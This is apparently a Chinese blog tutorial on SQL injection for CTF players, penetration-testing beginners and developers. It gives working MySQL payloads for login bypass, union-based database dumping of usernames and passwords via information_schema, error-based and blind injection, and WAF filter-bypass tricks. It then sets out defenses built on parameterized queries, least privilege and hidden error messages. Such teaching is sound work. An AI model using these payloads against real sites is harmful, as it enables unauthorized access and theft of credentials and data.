先说个很多初学者都会遇到的情况在网上翻SQL注入教程跟着文章敲了几个payload靶场也能打穿可一旦换个场景、换个参数名就完全不知道怎么下手了。为什么会这样因为大部分教程只教了你“背答案”没告诉你答案是怎么推出来的。SQL注入这东西说到底是“数据与代码不分家”惹的祸。你传进去的字符串本该是数据结果被程序拼进SQL语句里当了代码执行于是你就能借着SQL语法让数据库替你干点额外的事。理解了这一层后面所有的手工注入、盲注、绕WAF都是同一个思路在不同场景下的变体。这篇文章我会从最底层的SQL拼接逻辑讲起把手工注入的完整流程拆开揉碎再给出真正能落地的防御方案。无论你是CTF选手、渗透测试新手还是负责业务系统的开发工程师都能在里面找到能直接用的东西。1. SQL注入的本质参数被当成代码执行了1.1 一段SQL是怎么被“注”进去的先拿一个最常见的登录场景举例。假设后端代码是这样写的$sql SELECT * FROM users WHERE username . $_POST[username] . AND password . md5($_POST[password]) . ;正常用户输入用户名admin、密码123456拼出来的SQL是SELECT * FROM users WHERE username admin AND password e10adc3949ba59abbe56e057f20f883e这条语句没毛病就是按用户名和密码查一下用户表。问题在于如果有人在用户名一栏输入的不是普通字符串而是精心构造的SQL片段呢比如用户名填这个admin --那么拼接后的SQL就变成了SELECT * FROM users WHERE username admin -- AND password e10adc3949ba59abbe56e057f20f883e在MySQL里--注意后面有个空格是注释符从它开始到行尾的内容全部会被数据库忽略。也就是说AND password ...这段密码校验逻辑直接被注释掉了SQL变成了SELECT * FROM users WHERE username admin只要存在用户名为admin的账号这条查询就能查出记录。如果程序判断“查询结果不为空就判定登录成功”那攻击者只用知道一个用户名不需要密码就进去了。这就是SQL注入最基础的形态——你输入的单引号把开发者原本写好的字符串边界给闭合了后续输入的SQL片段被数据库当成真正的代码执行。把这句话记牢注入的本质是输入数据跨越了“数据”和“代码”之间的边界。开发者的本意是让你输入一个值但你输入的内容被当成了指令。1.2 万能密码为什么总能绕过登录刚才的admin --已经算是一种登录绕过但还有一个更经典的玩法叫“万能密码”对应热搜词里的“sql注入万能密码绕过”。先看一个最典型的payload OR 11假设用户名输入 OR 11密码随便填个x拼出来的SQL是SELECT * FROM users WHERE username OR 11 AND password x这里就要提到SQL运算符的优先级了。AND的优先级高于OR所以数据库会先算11 AND password x也就是TRUE AND FALSE结果是FALSE。然后再算username OR FALSE因为username 是FALSE整条语句结果是FALSE。诶这么一看好像绕不过去别急如果payload稍微调整一下用户名输入 OR 11 --密码随便填SELECT * FROM users WHERE username OR 11 -- AND password xOR 11是恒真条件后面全被注释掉了整条SQL等价于SELECT * FROM users WHERE username OR 11只要表里有一行数据这个查询就会返回非空结果集。如果表里有多行数据且程序只取第一行那登录成功的身份就是表里的第一个用户——往往就是管理员。这里有两个细节值得注意。第一很多教程写的 OR 11其实是配合密码位置还有括号才能生效的写法严格说不一定通用真正稳定生效的是带注释符的写法因为注释能干净利落地切断后面的逻辑。第二利用点往往不止用户名一个如果用户名有校验、密码没校验密码框一样能打。判断到底哪个参数能注入就看你输入的引号是否破坏了SQL原本的结构。2. 手工注入标准流程从探测到拖库的五步方法论网上很多文章提到“sql注入手工注入”都是一笔带过好像大家天生就会似的。实际上手工注入是有标准流程的一步步走稳得很。这一节我用一个典型场景带你完整走一遍。假设目标是一个带文章详情页的网站URL长这样http://example.com/article.php?id1点击不同文章数字1会变。这就是最经典的数字型注入点。开始测试。2.1 第一步探测注入点单引号是最便宜的试金石在id1后面直接加一个单引号看看页面反应http://example.com/article.php?id1如果程序直接把参数拼进SQL且没有做任何处理数据库会因为SQL语法错误而报错。报错的情况分两种一种是你能看到具体的SQL错误信息比如You have an error in your SQL syntax另一种是页面直接白屏或者500。不管哪种都说明这个位置可能跟数据库有交互。但单引号报错只能说明“有交互”还不够证明一定存在注入。你还需要进一步确认。最常用的验证方法是逻辑判断在参数后面分别加上and 11和and 12http://example.com/article.php?id1 and 11 http://example.com/article.php?id1 and 12如果第一条页面正常显示文章第二条页面不正常空白、无内容、报错说明你输入的and 11确实参与了SQL逻辑运算。能参与逻辑运算就说明这个位置可以被你控制注入点确认存在。注意在URL里直接敲and和空格有的服务器或中间件会拦截。实战中可以把空格写成注释符/**/也就是id1/**/and/**/11。这个技巧在绕过WAF时特别常用原理就是MySQL支持用/**/代替空格。2.2 第二步判断注入类型数字型和字符型打法不一样不同类型的注入点payload写法差异很大。区分方法其实就一句话看开发者拼SQL时参数是否被引号包裹。数字型拼接代码长这样$sql SELECT * FROM articles WHERE id . $_GET[id];字符型拼接代码长这样$sql SELECT * FROM articles WHERE title . $_GET[title] . ;判断方法如果id1 and 11生效说明你输入的内容被直接当成数值参与运算这是数字型如果数字型不生效试试id1 and 11页面正常再试试id1 and 12页面不正常说明参数是被单引号包起来的字符型。一句话总结区分办法测试输入数字型结果字符型结果1 and 11正常大概率报错或异常因为SQL里还有引号没闭合1 and 11报错或异常正常1 and 12报错或异常异常字符型注入并没有比数字型高级只是多了一步“闭合引号”的操作。核心思路就是先用引号把前面的字符串边界关上再用注释符把后面多余的内容处理掉。所以字符型注入的通用payload格式是参数值 注入语句 -- --- -也是MySQL注释符相比--后面跟空格来说-- -在URL编码场景下更不容易被截断实战中用得更普遍。2.3 第三步确定字段数量order by 帮你数清列数知道了注入点、知道了类型下一步就是确定查询结果有几列。这一步是联合查询的前置条件因为联合查询要求前后两个SELECT的列数一致。用order by来试http://example.com/article.php?id1 order by 1 http://example.com/article.php?id1 order by 2 http://example.com/article.php?id1 order by 3order by的作用是按第N列排序。如果N超过了实际列数MySQL会报Unknown column。比如刚才那条查询实际只有3列那么order by 3正常order by 4就报错。这样你就可以确定这个查询一共3列。为什么先确定列数这么重要因为联合查询的语法要求是SELECT 1,2,3 UNION SELECT 4,5,6两个SELECT的结果集列数必须相同否则直接语法报错。所以你得先知道目标查询有几列后面构造UNION SELECT的时候才能对齐。2.4 第四步联合查询找到回显位置确定列数之后把原来的id改成一个不存在的值比如-1这样前面的查询结果为空UNION后面的结果就能“顶上来”显示在页面上http://example.com/article.php?id-1 union select 1,2,3为什么要把id改成-1因为如果id1有正常数据UNION查询会把原来的结果和新查询的结果合并在一起页面到底显示哪一部分很不可控。把id改成不存在的值前面查不出数据页面就只能回显你UNION SELECT的内容。页面正常回显的话你会在文章标题、正文、作者等位置看到数字1、2、3中的某几个。比如标题位置显示2正文字置显示3那说明这2个位置是可以回显数据的“注入位”。接下来把对应位置的数字替换成你要查的SQL函数或子查询就行。比如要查当前数据库版本和当前用户可以构造http://example.com/article.php?id-1 union select 1,version(),user()然后页面的标题位置就会显示MySQL的版本号正文位置会显示当前数据库用户。到这一步基本的联合查询注入就算打通了。2.5 第五步从库名到表名再到字段名逐层拿数据拿到回显位以后经典操作顺序是三个步骤爆库名、爆表名、爆字段名最后才是拖数据。每一步都用MySQL自带的information_schema元数据库来查。第一步爆当前数据库名http://example.com/article.php?id-1 union select 1,database(),3假设得到库名demo_db。第二步爆这个库下有哪些表http://example.com/article.php?id-1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schemademo_db这里用group_concat把多行表名拼成一行输出就是为了适配页面上一个回显位只能显示一段内容的情况。假设拿到了users,articles,logs。第三步爆users表有哪些字段http://example.com/article.php?id-1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schemademo_db and table_nameusers假设拿到了id,username,password。第四步拖数据http://example.com/article.php?id-1 union select 1,group_concat(username,0x3a,password),3 from demo_db.users0x3a是冒号的十六进制写法作用是给用户名和密码之间加个分隔符方便阅读。这一步执行完页面就会把所有用户名和密码列出来。到这里手工联合查询注入的完整链路就走完了。用一张表把这五步整理一下阶段目标关键payload探测注入点确认参数可控制id1、id1 and 11判断类型确认数字型/字符型id1 and 11确定列数为联合查询对齐列数order by N定位回显位找可显示数据的列union select 1,2,3提取数据拿库名/表名/字段/数据information_schema系列查询3. 没有回显怎么办报错注入与盲注联合查询很好用但前提是页面会把查询结果直接显示出来。现实中很多程序只告诉你“查询成功”或者“查询失败”什么都不显示。这时候就得换打法。3.1 报错注入让数据库把报错信息当喇叭报错注入的核心思路是故意构造会让MySQL报错的SQL语句让数据库在报错信息里把你要查的数据带出来。MySQL里最常用的报错函数是extractvalue和updatexml原理都是XPath函数接收到非法格式的参数时报错并把参数内容输出到错误信息里。以updatexml为例标准报错注入payload长这样http://example.com/article.php?id1 and updatexml(1,concat(0x7e,database(),0x7e),1)0x7e是波浪号~的十六进制表示。concat(0x7e,database(),0x7e)拼出来的字符串是~demo_db~。updatexml收到这个不以合法XPath开头的字符串就会报错报错信息里包含这个字符串内容。于是数据库名就随着报错信息显示在页面上了。报错注入的效率比联合查询低一点但胜在不需要回显位。爆表名、爆字段名的思路跟联合查询完全一致只是把查询语句换到报错函数里http://example.com/article.php?id1 and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schemadatabase() limit 0,1),0x7e),1)注意报错信息有长度限制extractvalue和updatexml通常只能显示32个字符左右所以group_concat在这里基本用不了要配合limit一行一行地爆。3.2 盲注页面不说话就让它用“是与否”回答问题如果连报错信息都被程序吞掉了呢那就用盲注。盲注分两种布尔盲注和时间盲注。布尔盲注针对的场景是页面不会显示数据但会根据SQL条件成立与否在页面内容上产生差异。比如id1 and 11页面正常id1 and 12页面空白。这就是一个“是/否”的判断管道。接下来就用这个管道逐个字符地猜数据。比如猜当前数据库名的第一个字符是不是ahttp://example.com/article.php?id1 and substring(database(),1,1)a如果页面正常说明第一个字符确实是a如果页面空白就换下一个字符继续猜。这是纯手工最枯燥的部分所以实战中盲注基本都交给工具脚本跑但原理你得懂后面遇到奇怪的过滤规则时才能自己写出对应的脚本。时间盲注针对的场景更极端页面不管条件真还是假显示内容完全一样。这时候判断依据的载体从“页面内容”变成了“响应时间”。MySQL里最常用的函数是sleep配合if判断http://example.com/article.php?id1 and if(substring(database(),1,1)a,sleep(3),1)如果猜对了数据库执行sleep(3)页面响应时间会明显变慢如果猜错了语句瞬间执行完响应很快。通过响应时间差同样能一点一点把数据猜出来。盲注的本质是“二分法”思维系统性地做判断每轮能把范围缩小一半。虽然效率低但它是所有注入类型里存活率最高的——只要有时间响应数据就跑不掉。4. 防御方案参数化查询才是底牌前面花了大量篇幅讲怎么攻接下来讲怎么防。这部分内容开发工程师请重点看。网上很多“SQL注入防御方案”文章翻来覆去就讲三件事过滤关键字、转义特殊字符、用WAF。这些都不是根治方案只能增加攻击成本。真正从根上解决问题的只有一个——参数化查询也叫预处理语句。4.1 预处理语句为什么能免疫SQL注入先看看参数化查询的代码长什么样。以PHP的PDO为例$stmt $pdo-prepare(SELECT * FROM users WHERE username :username AND password :password); $stmt-execute([ :username $username, :password md5($password) ]);以Java的PreparedStatement为例String sql SELECT * FROM users WHERE username ? AND password ?; PreparedStatement pstmt conn.prepareStatement(sql); pstmt.setString(1, username); pstmt.setString(2, md5(password)); ResultSet rs pstmt.executeQuery();你没看错就是“提前把SQL骨架发给数据库告诉它这里有俩占位符待会儿我会传值过来”。数据库收到这条SQL后会先完成编译把:username和:password的位置固定为“数据参数”之后传进来的任何值都只是数据不会再被解析成SQL代码。这就是参数化查询免疫SQL注入的根本原因它从语法层面切断了“数据”和“代码”的混合。你输入admin --在参数化查询里它就是一个完整的字符串会被当成用户名去匹配永远不可能变成注释符去截断SQL。网上还有一种说法“用mysqli_real_escape_string转义一下就行了。”这个说法不严谨。转义确实能处理单引号、双引号、反斜杠等字符但它的有效性严重依赖数据库字符集配置一旦遇到宽字节注入转义就形同虚设。真正靠谱的方式永远是参数化查询。其他语言的对应方案也列出来开发时直接照着用语言/框架参数化方案PHPPDO::prepare execute或mysqli的预处理语句JavaPreparedStatementPythonsqlite3.execute参数绑定、psycopg2的%s占位、SQLAlchemy ORMGodatabase/sql的?占位符Node.jsmysql库的?占位符、Sequelize/Knex ORM4.2 纵深防御输入校验、权限控制、错误隐藏三板斧参数化查询是底线但现实中代码是人在写人总有疏忽。所以只靠参数化还不够要按纵深防御的思路把每一层都加固一下。第一板斧输入校验。参数该是数字的就严格校验数字格式。可以用类型转换、正则白名单比如id参数用intval()转成整数比任何过滤都干净。对于字符串参数可以校验长度、校验格式范围不要把校验寄托在“黑名单”上。记住一个原则白名单永远比黑名单可靠。黑名单你要枚举所有攻击载荷永远有遗漏白名单你只允许合法格式攻击载荷自然进不来。第二板斧最小权限原则。给应用配置数据库账号时只授予必要的权限。比如一个只需要查询文章的应用就只给SELECT权限千万不要用root或者具有FILE、INTO OUTFILE、super权限的账号连数据库。这个原则能防止攻击者在注入成功后进一步拖库、写WebShell、提权。很多做了参数化但还是被攻击的案例问题都出在数据库账号权限过大上。第三板斧隐藏错误信息。数据库报错信息是攻击者的导航仪。线上环境务必关闭详细的SQL错误展示统一返回友好错误页。这一点配合报错注入的场景最好理解——你连报错详情都看不到updatexml报错注入基本就废了。4.3 过滤方案为什么靠不住这一节专门聊聊很多团队还在用的“黑名单过滤”方案方便你回头审视自己的代码。常见的过滤做法是拦截这些关键字select、union、update、and、or、sleep、单引号等等。从攻击者视角看这些过滤可以绕过。大小写绕过Union Select。URL编码绕过%27代替单引号。注释绕过sel/**/ect。内联注释绕过/*!50000SELECT*/。双写绕过selselectect。十六进制编码绕过把字符串写成0x...。当过滤规则变复杂比如加了更严格的关键字匹配攻击者还能用报错注入、堆叠注入、DNSLog外带等不需要这些关键字的办法绕过。所以我的建议一直很明确不要把安全寄托在过滤上。过滤可以做但它只是增加攻击门槛的辅助层不是防御的主干。主干必须是参数化查询加最小权限加错误隐藏这个组合。写到这里我把防御侧的优先级整理成一个清单方便你对照检查第一优先级所有SQL操作全部改造成预处理语句/参数化查询没有任何例外第二优先级最小化数据库账号权限严格按业务所需分配增删改查权限第三优先级关闭生产环境详细报错信息统一错误页面第四优先级输入参数做白名单校验数字就强转数字字符串限长限格式第五优先级预留一份SQL日志审计方便事后追踪异常查询5. 踩坑记录实际操作里最容易被绊倒的地方最后这部分分享一些我自己踩过的坑以及平时帮读者看代码时频繁发现的问题。有些属于实战技巧有些属于开发习惯放在一起方便你一次性扫雷。5.1 手工注入时最常见的坑第一在URL里直接敲#注释符会丢掉后面的参数。#在URL中是锚点标识浏览器根本不会把它发到服务器。所以URL注入时注释符要么URL编码成%23要么换成--或-- -。这一点新手几乎必踩。第二order by的列数上限不等于回显列数。order by只能告诉你“第几列不存在”如果字段数很多逐次尝试太慢。可以用二分法快速定位边界正常情况下几十次请求就能测出来。第三字符型注入点一定要记得闭合引号。很多人判断出注入点直接套数字型的payload结果怎么打都不通。回到 2.2 节那个表格先确认类型再选payload能省一大堆无用功。第四联合查询时前面查询的结果集不是空的话页面显示很混乱。所以要把原始条件改成不可能命中的值id-1就是最常用的手法。不这样做你联合查询的结果大概率被原始数据淹没。5.2 登录绕过场景里的坑万能密码能绕过的前提是后端代码用的是字符串拼接且登录判定逻辑看的是“查询结果是否为非空”。如果代码改成先取用户再去单独校验密码哈希万能密码就不灵了。绕过登录框还有一个容易忽略的点很多登录框实际上有多个参数参与拼接比如用户名、密码、验证码。如果一个参数有后端校验另一个没有就转打没有校验的那个。审计代码时要逐个参数去看。5.3 防御落地时容易被忽略的细节很多团队说“我们用了预编译”但漏了几个边角。第一预编译只对SQL语句中的数据部分有效表名、列名、ORDER BY后面的排序字段是拼不进去的这部分必须单独走白名单校验。比如排序字段就只能允许asc或desc字段名必须匹配预设列表。第二动态构造SQL的场景比如后台管理系统的复杂筛选功能很容易因为“不好用预处理”而退回拼接这是最危险的重灾区。第三使用ORM框架不等于绝对安全尤其是那些允许写原生SQL查询的接口写的人一不注意就踩回拼接老路。最后再说一个我平时检查代码时的习惯全局搜代码里所有的$_GET、$_POST、request参数接收点找到之后一个一个往下游追看这些值最终去了哪里。如果发现它们被拼进了SQL字符串不管有没有过滤都先标记出来再逐个评估修复方案。这个方法虽然土但效率极高能在代码审计时快速定位注入面。SQL注入这个老话题之所以到现在还有这么多漏洞爆出来根子不在技术难度而在“知道但没做到”。手工注入的流程你练两天就能上手参数化查询的改造你花一个下午就能把代码全部改完真正难的是让每个开发者都从心底里承认用户输入永远是不可信的每个数据接口都可能是攻击面。把这句意识刻进骨子里再配合这一整套标准流程无论是去靶场刷题还是回头加固自己的业务系统你都不会再觉得无从下手。
